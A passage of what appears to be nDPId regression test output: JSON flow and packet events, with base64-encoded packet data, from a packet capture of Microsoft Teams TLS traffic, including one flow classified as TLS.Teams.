JrI3MQWauSm8\/uGPwu0feSA4Sv4xgDPc2OaeFW\/VsPbMJkeB+okvXJ\/4d5a\/krtDq3Q4eD2plufWJYp8pkmPyG8VsIzOVMNnyf1dT7QPxAiSgFE7V3DH9xScH+YjgU6LMMSMK8lUYjmc+tvpDVYtttjpctyvb5U5rdnVSBJLuq9goEOUKBg5OMqWUDwvBN34goN6jm2XuSmzxC7tydp5hkBzDDG8D81Xhax4MtNCdtKYN8iYxm4ooe6WgzdvHqkkMcK9ZI8svGp1KYmrg4AhRztpoUs\/jmqqZDgo5bB2BZjqOyalV\/hgZueIuU2\/Kz9D2t5MBjXPNDOzX\/VJu4KLdWxuDDHb04vICNrhepXqycgccP2XIYQz"} +02378{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1206,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":713954,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex\/Abv2sYDGFR5zxIAQEAB8tQAAAQEICjCEr8ZhBrVn4thJaMbUvvbgufCvGZ7jx3PczRsf2Arqz2n5BFuyIODGzi+8QdRylyYCJTnJjkPT5mLT885uAoFDU\/G4FKgdBqCuWp9iKSYeX91S4YPodIkt86nL2wvLwjWlNwOrUMA+DCf\/uOMkTK3P3b9nfAMt1yYRSQs3w\/ic3NS8GQ3UthZ7+kh\/Ze1glfi5egYx\/KBdyWFUWDhtEO0x42vlbu3s5H\/fCw\/VlyoFbcS2rtKJ\/a9IrRZPxQsTcxlIiYXsVv3N9T06I0cFwXytznOcgpTWM7Rq\/x+90gAp7lA6vKEppEBx9lZmg\/1HUjslS9KVIycj6NekvHlzQpD8r3q7hNJ1BbmhJh0M2Qm+q2Im9JvuWob1rBL97MK8OO07RMHZghXL3KnZOApaqJ\/uAimAbCxSQi\/PDqo5JKBhcO9H1Uot+WAMzK6xfb+tZpu1W5mu+f148PxCC0ytclplp0MKzp\/XQELY5JDJOq0wnJfsIhSszMw\/I3mfrRT21F7RBpesyai8T8Ej23OoxMpoKXaODCL361OAo9X8tr1HYseG0c13Q\/QBoT0c16yZntoRvoUNK3l3VuxSJhHfcxs1RcoarVl2scMRPl9NNJG38phU9HlFXrD8P9OjrMG55cZ6Vpp8pjNpQxYFqhcBQ57q+QljXwNSUaiudr\/x8tf02eDUH6+HztcQ8crSCOoPx3D1WAOrAA1e+JLhJLe84zUtFPNnNaj2nxkISrKXLWtYDm2jxqaae\/drnXyBXgfOipmw6sDswWJD5m6auaZOAB4QOsMbUfAIJ6Z3GxkNVJS8f+dqNgR+aK3YZAM7ROLvywhZjybwj3s7QpjpNlqgBicYLn+M9r\/wOcyOYbi\/b+ToCX+raIH5AUV\/9zcGcQwLTmUpNvB+2TFTEwmJjcr0WNbIWa6VB5ORR3adGUyBbK05skxOq46L5vJe\/ZTupT3z2TC7thSUgZ3w9krZ6DPky409x+mh3fZwzJfJq+CndGi0O8fjxBM9\/U\/kSJBXOpPVOfVGlPP0xi208b5rrsW5nUauLmvX8\/Uq8\/oc8nP\/4QUU5dWOrsbz4zZbO2uvIujzooY0dsgBwOG5nQo93uqvuvW2V88L3nqdildgEQxfIlxknd1GBbXiNfVMZHm2oMtJazBQkKuZF1IX6U22KVYvlMIU5EjMXnGMgAEf7uquOimoOC+bqm0HGj0fBFwhy37BFLtimw4uFctC2FSIBrPkNlngesdy2SIZSkLsndMVU6P92jZGge6pKWh\/\/Q3tHgIczSLKFKYEL\/xOIo9ipW5N5\/3HtFhHAYPsmHvDNAuiQKyxn9Ors8jY6+cl\/l4TDbN8alcxyU41mYYMTwEhveQWAz1njZSLtjndg+o06Az\/2M0E3gAK7hJcIDo\/C15Nmk9Ucv10WnOLsUFBMzofujGHBjoh1hOAA8T7PvYLQwgCqB\/xUEHhRixqh4xc2zbbn77x1Ye4cwuIvW5AoS55KOUfOneAweKhQiMOrB5Sgkpkm7wiOUjqdh8Udmhd6rFXPchIE0E\/4B9mJT5af6J4ieloUlwpnMj4OiG04UiwN+zSi42Eh5ZKqvnmceOJHqOCswrw+rlMcwMmMlQtsOmfu+ZYl7IonXFNJFJsGIi\/zxtpeJvdb\/Xfc2X6rVc5qoGA1cotWdg4KBCeHNIClCEq8WzVIYiEKYnBA0p7evq7ebO8A9RiaPOvQqWxg7Aoe+5wg5eZYrz8Bh7xNbAR2gpppHuFIM+AN+3I8AzoU7tB4uAoOANs2RfX96\/Anwttfm8OeAIbG2aYPTHiOd+oYD4zW9EkEiT5KiLuQrKyj+Tbnk5mC6fD\/b8\/p7Vg35vfMXW23HO7EbxiQq7THuo1hQLdB3Y4+2JjP\/JeLsiDLC8WuF\/bJFUGHgLCoBXZhAMXufGD"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1208,"source":"teams.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1587041682740,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":1,"l3_proto":"ip4","src_ip":"162.125.19.131","dst_ip":"192.168.1.6","src_port":443,"dst_port":60344,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00743{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":740607,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEdws9AADEGDl2ifRODwKgBBgG767gSqyGfi6a7DoAYAWi65wAAAQEICpHNoqswhBBbFwMDAOQAAAAAAAAACKmKftpP18TObpudfRHF+x2Q26rJbEiP394UtjZJPj4wSIR\/hp3JlNrAGtpUw45IgQ+\/Td3gBgwIaydoMxwS3i93S6aIvQahVpj\/c5RwIn5XTgvMLlxphbaNgBQKVcUBzOyFCFmX25bboaZrE8yGPewBV8YF9rPw3wiL2qX6gOrVwGBD+SxN5WBWFI2hGO+JWJUmRSYMjHC+44xSTFiyxGwuYeySW1fNosn1ZrrnxmEfRHvkqjQUYvkmRW87MNYmA\/nzpUUAJUjx7fyAlsSNV0cWWtSO31yX1lU5orE="} +00425{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1209,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":740712,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGwxXAqAEGon0Tg+u4AbuLprsOEqsiiIAQD\/hw3AAAAQEICjCEr+CRzaKr"} +00426{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1210,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":744342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA09YRAAGwG1eQ0ck06wKgBBgG77IG+FZNKYAjhq4AS\/\/+qaAAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1211,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":744445,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG93XAqAEGNHJNOuyBAbtgCOGrvhWTS1AQIADLJwAA"} +00704{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1212,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":744658,"pkt_caplen":273,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":273,"pkt_l4_len":239,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEDAABAAEAG9prAqAEGNHJNOuyBAbtgCOGrvhWTS1AYIAAsUQAAFgMBANYBAADSAwPkbX85xJUsmCJfCQtb2nqS5r5NxitfmjfkWtCVFh+GIgAAHEpKzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACNCgoAAP8BAAEAAAAAIQAfAAAccHJlc2VuY2UudGVhbXMubWljcm9zb2Z0LmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACAoKAB0AFwAYABsAAwIAAkpKAAEA"} +00740{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1212,"source":"teams.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1587041682698,"flow_last_seen":1587041682744,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":20,"flow_max_l4_data_len":239,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.58","src_port":60545,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"presence.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +01247{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1213,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745381,"pkt_caplen":665,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":665,"pkt_l4_len":631,"pkt":"EBMx8Tl2KDc3AG3ICABFAAKLAABAAEAGwL7AqAEGon0Tg+u4AbuLprsOEqsiiIAYEAA0LgAAAQEICjCEr+ORzaKrFwMDAlK2BaXSajSAVWEKj3frXxijYpT3GD2Cuos6bxaeeEb0O6UJhzmzPZI\/SWy+fgBnTfneCwusduYkx4s3F4xCn2MY3DEvpr\/P48ATzKlJ++OHqI7OI3KpokJ1bF8YwJjJpFyWkPT0\/gdDA2C0thwexYlLgVCHe4dECfAKO3ai6a9AkpIGftSCmWnSsB7\/GodcDd1wDIWHn+mS6A9bTO\/2sRCfLQjmwaqnM\/0Kd1DorrQMm9TT6\/w11NzOyGJGqVRWfthWKCJ2r5CEFaogXR64MxPpr2FM6spcuDUY4C3Hc53Q7uc97BndljPBEgsGGu2WIs1hpBKyBrbp4cakeWFrgRHILDge\/JLjoB\/we0ie6rPfHdzAzbH+CVHboc7ECVvIV6N2Rd\/z5fI6cJ5y1i\/CGpe9JS\/DjF+npNlL3gVvBs3y7VpT4ziTRBRlbzG6hzfaYWVE\/I1GNwloup0kRP0\/\/fFg59buQBmTxdHJsfm4laPDQEGg2\/E9TD5wbcmagME1tYB8Z6HaDDAe1MbrBXtLSM8VMS0ZeI23LZfgw6dIscXGQh+EZCVohYQ2K\/dCOtZqYIGlXsZd11O+bX\/KPVaVnsGCQqimWVbYkJXTdkE5fdL4ibwUdj8vI7+8IXUv8oArxAdVEWB2+pth6d9Zti7C4SxMlmajA50jkJHElO8G4w6Wzb86qkyK4WbkuYLazUSRxEvrQrVtZjtDDcEAhbB3i\/CCiXoyK9403MAI7UV+NXn0+Iqmacnoi+GSVKkccDjbrlFQ3qxHSBpnh\/Zt22FSB4TV4eA="} +02358{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1214,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745498,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGvYHAqAEGon0Tg+u4AbuLpr1lEqsiiIAQEADIXgAAAQEICjCEr+SRzaKrFwMDIBe2BaXSajSAVsA+S0rbnqiekP4iuZq32HuCU1Zk8b7DobfyXAMC40RMGMmv03seNmRLB1WBKOAndSNsjwejL\/4UdAY51oTzt\/idB5m9EO71\/T1MmFynzxV07rmvd3Y7KFXQR\/+x23FlX8GjLiPfQFhiUhRh28ymzOk2Fma1O328pbgtPmfOm2\/I1HthpOnXap2OPKovdSqIn\/dOEzmEXK5RH4Vhc7yfPS0tJ3lq\/j9Y4mE4jZEoUqARpTmnt\/EmaVbJrcge1AqzkW+CZ+w4JlO7k9TdFEi5TByHM4C1T005glLtZNkRmPpMGHQbjibw3NTyD4LLOA7ibrI0r9IDNmoeUUfh8DCZdpfo3pxnEzyt7oapZ3bsP3f2dkvlxSg+Dlv55qlRYMXtNU7tnt3+G6vIRUNWvNYWxEeaewlxO7D31DoGy39yf6\/Uf40kqlYmjJklCFuyytx+XwcWqT4ARI652Z\/KTokqiY0d8hvIMHweZqCdsZ3sZLcS92z0hCZYB+QTk3oNwXMxF3HPTJhWvhOq0wqkZDSVoE431Wjz26KTR\/D\/dA5pInq8bEC3yVuUKN1PLZW9Mz7MYJyzusjyBNsPLXM5O8OEeeK5MiWTYDXzmOLsLkb2vkB\/HV4y3Ev95rIiSF36Cpgqv6+0aR866vdj7FtuF34EidwFeCf1Bf+A5YjRmGj3oaiwxanjseDhhtnxhUTf19iNoEFSzhAIqnGHRAvLOkI5d3FBbQQt+YdQcTmf4uC9ThNnySNA0HXREePQs7huoiwdf2bLMzadvLcQRiRnWU7Hl35DzJo7SAfHQVc1y7a5SVG8H0C\/gvRNuAfv3HAV07QuKJAR49iIkFCcVRaJ\/jE5NYdjrNiiLdvzoxuEZ0dWMxMftRotvm8FM6ig5uEvIZbx9cs5I19iYZQ+xjuzmSG9hz4iz+WjzAoY1dmLOtgbT\/XB2FXmqmn+QhnOY3Ljx0J2ha7XjBQ8hWDhzClw138COO6BoFzaLcXOQXTKJXlqio99G1EHem2LSJs4Fip7GdtxGPNIMZ40wLG2DFzen08a5EPl23FFXPX0SR69Sbx3M0R+hQyRTGJvzQ2b0FETVcaGBWv\/AJUXgawU3fpNn7TAnn6usnhvfGudG7WV4wZ6vkSA+LX0MCVzjn7ur93PxY\/kpdqz3fuiKZIsdz1qUGtjG9iABsh28XZ9j4vR0VSK81wLD3NNpJ2yPv0bwOqpCaovF6tXQ1Ews6XsxqJi5G36BrzaJ5\/NXawhnu8ri1Vz28LUjmOZPpd6keVddX571\/oIU+Q3p3lccmI7+gjH3KqlUBiHCmpfZcYeOnCUEoJ6+9LH3uDsI4lVcAzp2csO0NXDwcfvMalB6gajtPszvwIJElID7GHKx1BsawLle+AuhD6lA8\/ePLwyuj37+iokrx6+vklOjmfe4s9diN429ybZIsLrxpS9gvhCcqJjHRib1BY+X07qe0e72A4QTMrUQvOqVAnCJ6MepkVyL+TYwE71AQhIyEcdhSMj5NByh+Ps2+o6B6TxNGxL+Hz7Gkx+JsBR2inYY8O+Lv0UT9kVL4KGsfhNjVDtOQlSBGenVIqSWzA0IMPQo8+3Of8Hq4M82zM4CAZ0HSDgvnwrTIr12aPKQZeXdT79Zkpu9xzzr2tssbkalNRSPafbicgt9KUTproDv5wkhK7YwHiqPcGR0QVqeIcuyQotM2kpYtKzEsnaTsMsANkeXwUSaYMnhtvVUO0AlG4\/nEwlNMBHzNthJE9IyucPPp6lNbtpzJXbzjnbqhKzr1pBPW1NzcsmUvTf4AThdCxRFDDYC8Q9bGPZ8M76S438LhtuVyUo\/lD6YFPci0DvupTGZalsukVJfD\/0b05qjSDFI9eEwsvlchodrzNqwexfGQO0oqhK"} +02358{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1215,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745501,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGvYHAqAEGon0Tg+u4AbuLpsL5EqsiiIAQEABs5gAAAQEICjCEr+SRzaKrei53o4vFQHMBld1Fh\/SJ7lY\/Br6V6nMJYu3OAHgdn1qCcCSFYKKt9BOxyQf3yfDnlntHKN9zdEPSvXN\/0hi8YerzFHTzlE9CpJ2R08FI9jE11z3fnVvhf8e7OcEQqRZgxnPlEzNldSNYqEcmHkXvJhZMq8lx7wyR4LUbGNhgoKdPGH278UPChna6A3t6rVbTyY26njMEfo0Zm6rhpJo44iHLRIKvpaj2GQsfRT+cQeJIZ7CCI7T1q2PUyZhm1ySaJCt2LeO9BPdVU6xJnGhMV\/aWAPQcJ6kB0bxcZrLoRiXTU5Sjkns\/IiFNL\/xvNJTPnSiFRhwUoHK+lhufNQUo13wAlnryX9ux9knlEKyd0St6x6x3\/0AcGE5iocc88TMKvbPeEJdROrTHJPBGw3wEtTcJnsCO86HHTsshAVdGVqkIx3wKVLP63U4Kblp4jy32ZZqt5mrVmtgkvfyXyOjEWSHg9\/kbER4PSr77Twprpqx983VEq2Hcb9Z5Mm3nOhfwTP2T3g\/CCF8QgaWGZrUDu1iiRUPI6K2BHYirquzyMaFufY9V8GpIhq1n1xceUiQLPYGN3l5fQJCiBdXfFafOcSFxIjVpojrL2EOuqK2nuMjLQQp+4Aqc6WZPgm2ebUN\/iKkfC2yH2bLExo2MPi3VUFi92NENpciPyW+eXAFY69MJj5yxa5BiY59sQ5ELiBJlv7RkENWrGuHIllIcpW3ItUf5UzQsbStrqU99fkGX6jKCwXrvMoRcz4OdAQSCuL42ekbFYHiL0ne5NvHaRIqcek4\/JcqoZpMdpQey7y+2Dl6doTImRGjrtsYDDKgFGhDU4N8dTso9ThZ3fuQI5GnuKCyDE7AIeVXiQlYv5F01woYov2hCUZp7ZcJSt2ohbipTR8\/9XsRLAxqgXB5GsFcoOvfysdpEjckn3ixs\/e\/E+9YhRVwcgw9hwvaxpOHeSVNLQn1UC1jd6XPsedgr5CYCUUWjOwS77pYeBf15DMuXoTC2DTw4N0qK0I2k9jO2h06\/VwS+DdyYzdZyIEDJootRjKr6+oHebS0B7nXpok59GLbGxDjEh9wakV1SZs7RvQXUIMtwshnqDiJum9ddTnNB2+bpdzgJa3FjnjCyxjYAJBZhtEPLvmmDoY+ugXE9QtbOp299K6ArOZPB6JuK4rlVYneXIpSl0yfeQgFoaNPTPCWdaxvM+AfcOB7YkH0w1UJu2dyLSmHw42qCGfzhxeXIbZVNdJjctQ0Cqo5zXErR1874K9\/40112SIrZY04P1wdyAy51DHX6xP4DMvjfqz6wVaf6gJ\/DZxBp20paRElTtDQN\/dHqjokoah04MvpFxBCi0Oy+R7CfKweUnqAqr1HqpFAPT9qsa8YrIc8G0wUUzeAax4URzLWOt85EjAnPLK1DAQYPq0v9Q0KLOsGsn1kbSvDpNs37iMzwcZRFzWoLHwwnKhxoV5ph1YHpzct0GfB5TMtawMLt6xx8fpDVN\/qmtv7vr0PwcpkWAe12mwk6YMCBt5BjA8f7N0hNc28Z18gN\/CgGnUTUJNyHOY9\/otIhpyZk2nAcBRRfiJ1pLKbDvtAKXiFEDhY9R4CdMU31jbFPykJh6n2eH+U5nfePcR\/NQL8CGF86lRBvbS1BffGRulEfJVi517lk3dtmRmFX4czmj4U5S0fLX7dTEWdkjlqGvyPwcgdLRBZYccWZ3e0IwyZLzh4ZvqC6GXgR\/YxXU2EyExTuarC8OxvaikQEuWDLdXLrVfF\/5zh5AAnOxdXMDpgpl7zVyHlEg1yLy9mLgj1yQgKUqwCNhyVJZLyPBjuKvSewLkE6Yb4TMgTQzgnkGvHFjAbR3wnBeO3lqHZFEbIHcmklDS0L5Y7TchFMURbahXYDs4fVUOyQ800EYRGVfodFdgqI"} +02369{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1216,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745504,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGvYHAqAEGon0Tg+u4AbuLpsiNEqsiiIAQEAD\/xwAAAQEICjCEr+SRzaKra4JCt9UbNdEcAZvC5Wcl98ZezmljBqx8+d7\/ALwbCM9NZg\/SyZX7gfrprMljQoLS6YyL9cMML72\/CgkvcCJ\/JzO69aO5QyFygcbPb3+I+xFF5m7P7RI4sjcOxG1R07p\/hX93jyV9gQMYsybMVsxVMzHUgn3WGoO+sTI\/Fof7Cqomu2SbzihuLDQ6SOnFTgpNh1+FtjT0p9ypzrEN6d5\/1MdWQMLfK2czJgiTXf7iPD66+d2N51IgiW9EuDJOgEqGtbhODv9Hp4CQZENPSCzCNBh3BBONJTDXQ11ykpvQEfflgmYmANDJ4FOtD3gifnduI9bRjZmbmdHhNl5yYGgF2IFE7jeEC1473lBM5CNxDAhaIAomCLLQ\/CtyAW2g7mewHoZNpHb4rgBwBKudKTkjEgkBQ+szyxqMP3Sig\/cXk07+KRhkea16SEvIZz+uRY2ytK1HaSg\/f9vCwYuNCkxj60PyBYnxJZ3yp2dmG8O5OZGMDb8hhYx3PWt2MrQjX0NHZhNdllRRG50tZtii0pVAYRTQU6SFR27BDU+gvU+yDfPRib+8Vjh0VqOD0x6Dmhfmqohv6Aj0ld1GawCwiZZt+MklAJRp374F5SWbd4CpsDS5KNzDURH5007qW8+cvQdKBLITH6cz9pq1PS9rYxIFRIWABHuCn3YnnEt4HQr625880CnHE\/zJYirbtOUSttkZ+nl4iSUWoQabY6sXcplisZzS2iFGRLYvdtVyPzq4weAwMeL1FMB2R5vO7rmDQv2tcQP9rN0gP6GU7gbrkWlrarGO8D2p2\/Xv\/JJ+TMipXwtVIwKvunlI1H+WC0dPJ8ak8GdbLz7pSRSEiG8+3sDw\/81Txkp9SJEMFmHos8Zxk++koyagzZ8p8FT2\/\/36Evq5\/bUA+6ZxEPd13kFW6FGuo\/wM7xXzuyRWvDOJYD0+gV\/mOe7E8HbapiK8O635Wp7UgdW+M0ava4BZvfc0zIHYqicHi6lx6\/TiQe40Kvyzg9RMLmRmAtYkXZu4RKaKHuIUtyaTVn9Yx8QSGPb1iwF4AzTqY\/13BAvluod4Vsh6A4KiR3TNryVwZ7wMw464RjeYq3myjjt29EG5+rnipXa4EcPbGFgmhgas9dGR2MybbuOPVgowxJoqpCWm6BaD8Wl105zsyh9yNWzMcvpuu3eSYGmJcwDapu9nOKsJM7eB3mE6EjS3vOMH9gyuLGohp1Z3X85Aisnoc6q596BTeyogfBq2wwOpvbcp0YXt0eXT58sXtt5NQfDZgIuiQ3ACb7aNpNwmK5CfyL0GE+g3jM6RSNeXFhDcGppG2811swszY67Xg1aLurKp56DDjXHoUsfZReqxaWlsNm4XGUYYFVgCtScyaJkgXXjdee6gS861f0+oCZO8BprDT\/VsFtIUsq8NL1j0LMBbzsvglLXKgUoQZmGUMGMmySzBGjNthZciWcgjPUIn\/BSxhUi84g\/609scUB8bNLsuLLAuo3qQx9d0iEh7PioYM1L01R1gvea\/4RXxL5+0QGyOLN1o4EJT5BWc988FnjUA9Vb\/lGODcZrWStK2WOj3zaMTV9\/Eoy7Y4EVCv3zaElsCuu0WYsYSg2wH8s\/5Kgs9XlYZTMA4ZiWh0LWaKRFL1gCeggoUYJxzVpIt9k9MZ8P5ZJ3ZE\/QFeLESOP21Kp66Tcq9OcXXXVCEePC+oO2ADrFMB1PnNDIxblr66OQN8j8edMdgF1BPGQkhtJf\/2yGv2zO0RfC4W2B9RcIO5HyuyXq6ttlfsvcUtl\/lEtEmMkeN5cs3KAiTFpwkKbKG5\/+j3D1J549C17FI+EkYntqntJUxm2TTojkqOAcMoM\/ov\/Bfob5XSsGHVqSnGdagPo7laxsBgDSvGpM8RldFUAMl4u1EAD4dhREwd+cnB61E"} +02360{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":745506,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAGvYHAqAEGon0Tg+u4AbuLps4hEqsiiIAQEABgMQAAAQEICjCEr+SRzaKrG\/pRRmEUpDL2a3ilen0m\/qkoRLkQ7C7gKQKs1RMX0kXnK9Fnqai9StFnEShHQs0WHl8XhQ5pq\/j+p0IszeqDziSdQa0RXxGQ2cQbvwEdR\/wOhJHeiXNrL9geEselYgF6BQLNKl9FSnK7gWJKnnYQYYYu03BB\/DXJpJ40vcI6G+WHfKUmir5O1cRvkvYSILLoYmnfli6dRKJF3cQwM4\/skPsH2iMZxWy+hJ9ebVR7e449YkYNLtM6Im1SPnZUYd95DZnc0+jRZjbbwdBkwaXmOc1yvv0Q4vQaZ4uVgMgjsKMsQ\/GhEIXPm8Pr90eGNAvhgmZX5ZWqQ2xL5fb0NQnl7ItCI1ICyvY3rurEJLzTP0+nVIjyAapg3X+I+\/Z7euQl+7fIEYfv7IdSsfecfZSLGn45hUFug4bc6jhYRX00TXiO+yOq0GFLSsyd2bdVAp4eAYfenXtWtxIwMi+DS9BH5X8fjLqRK4KPD0iuR40O4muvj3AW5sl07GzH1pO3WdybWbjj1D9J4ZPW+iYBcphAjF5BDbXrNjDnkZ59T\/cSGEgyqWnkfqhjZ4BT70GIT6Xa0afl+uPQB04TV5VbrU46SD4UKo9Qscoihtfha61yz30v7+b6KGVIKEFHaBvH\/F9FlCuhWz7IhA3vFH+9nWYsX+G9mGxqySuMf0PkDSeGQLh\/Hn1xDl8aznwhmLmGT8TfFTC6SQ4fksO70nO83BrsT8j4j7\/86AeZzmjdv8xMt77GsftK5+i0nZAqcbHbpd+sYl6QGFIlrmgPEHZZmgtdjSWunXe\/Sa1sPDOKHeNIjrfyVzw+uUBGeFq+TcIHjQp6tKE\/dIbOPnGyfYYpfF4E7y\/\/S5\/bNmJ6NXXN4vsiqIA9ryQc+0M7YRQ5KgbPuFb4H56jnYHDpFc20tV9a0o0YzyXlZp42KqQM+kFQlyNjPpMjCLLeXuPHCetEIWCPomQFoWXoZKjC34Jm7BzG7ucioge\/OYqc6zTWhRRDzJ+EAoQgrg6ah4HIb1iwbcz3iqEvVELJzdGlbNFj+ppRbBEJ5L0+QkOFNV5OaxefprqgV0NdOFoBY7E+ul5ikKrVKKJuwiKvv98fLL8HH3m1+j0FFQuBrg+G+9gsHh5XBWsRWo8oFKM0vDTIjhTAunUNN3G5US3gw0dCG+v3MiBu3vNgS0GXTjrBHbzHS+poFdkYL6WjPhqxuiujH71d3IYogXzaHYRwbgfI6nDBZx4f+Xq8NvmA0Yh8LPTKlHL9a7E0EShLCCHS+TX7CotZ2jfXr34hZPbf0NPC1ScdnXXEmzN46SDkYVtKsf4IVufXXaYs+2g3GbGug6aZ9a0SU6Be0cLoZ\/S0vp3hnw0PrD3drVtZjOkjwJ+avMwaTM5CDORarnl5QNCGs8tRSrOlthp5KZ8gpIRwZBfjdCazB\/3J0ntUGvobg4bI1iGZbHKv2bGSWm2RJxE9kM1MmbCtOvdgrNcG5zS3uwjsNLclrUa+0b2X0ejU7x3vDrvUbAIDMPwCStV1qa156H3tlIZw0vqVD1C8tT3jKB+kjiAurjQuqG6jwyG2DuZREX6pYgnu3rsICU881HPHJChAgb72bBB6gn0co8Nw5\/svjDERfPNSuGnjeK92XzFWNI5GbhdQS3LVBUPOI7qFQHsdTQ9ucHGE0MicAkZbW3+hLuUCfSNCvDLXrbvaFLiN+kAajwGTaBETRYPlV8TXuuI954Rp+Ejk8HoU9p3ZNBKtn68OALTAvNr01FSNM0rw+NRdVmC2doEAK49cT537LWi21csQpC5PrQ4tydgCZHuNFfnIrZ0Axf5CEeEC9Mot84lfJPHtIio+mh\/07b0MqMOKjvup\/fiL6nAmduWmTJzP\/p80Nk3\/u5+pCsQu1lqwyMv1YK\/R07bVVB6dofc"} 